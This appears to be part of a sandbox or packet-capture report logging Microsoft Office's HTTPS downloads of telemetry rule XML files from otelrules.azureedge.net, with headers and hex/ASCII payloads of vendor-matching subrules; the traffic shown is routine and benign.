6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	61098	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:45 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: e42c2868-f01e-003f-5826-3dd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110946Z-15b8b599d882zv28hC1TEBdchn00000005v0000000001uq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	61100	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:47 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:47 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1c81f4ad-001e-005a-6fbf-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110947Z-174c587ffdfl22mzhC1TEBk40c0000000620000000004k3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	61099	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:47 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:48 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 97f3364e-001e-00a2-6ca6-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110948Z-178bfbc474bfw4gbhC1NYCunf400000007cg000000006k6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:48 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	61101	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:47 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:48 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 8a9c0054-c01e-0046-231b-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110948Z-178bfbc474bscnbchC1NYCe7eg00000007dg00000000c1c0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:48 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	61102	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:48 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:48 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110948Z-174c587ffdftjz9shC1TEBsh9800000005sg000000004f59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:48 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	61103	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:48 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110948Z-178bfbc474bpscmfhC1NYCfc2c00000005xg000000009b4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	61105	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:49 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:50 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110950Z-178bfbc474btrnf9hC1NYCb80g00000007k0000000005am4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:50 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	61104	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:50 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:50 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f47ed088-401e-0029-7f4d-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110950Z-15b8b599d886w4hzhC1TEBb4ug00000005vg00000000b70a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:50 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	61106	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:50 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:50 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 2661dead-d01e-008e-1cf5-3e387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110950Z-15b8b599d88cn5thhC1TEBqxkn00000005pg00000000cs3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:50 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	61107	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:50 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 3074f9d5-701e-001e-47fc-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110950Z-178bfbc474bnwsh4hC1NYC2ubs00000007g0000000003r9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	61108	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:50 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:50 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: f323d95e-101e-0065-6a6f-3d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110950Z-15b8b599d88f9wfchC1TEBm2kc00000005zg0000000077w6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:50 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	61109	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:52 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: ba3424f4-801e-0047-3bbf-3e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110952Z-178bfbc474bq2pr7hC1NYCkfgg00000007fg000000007k76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
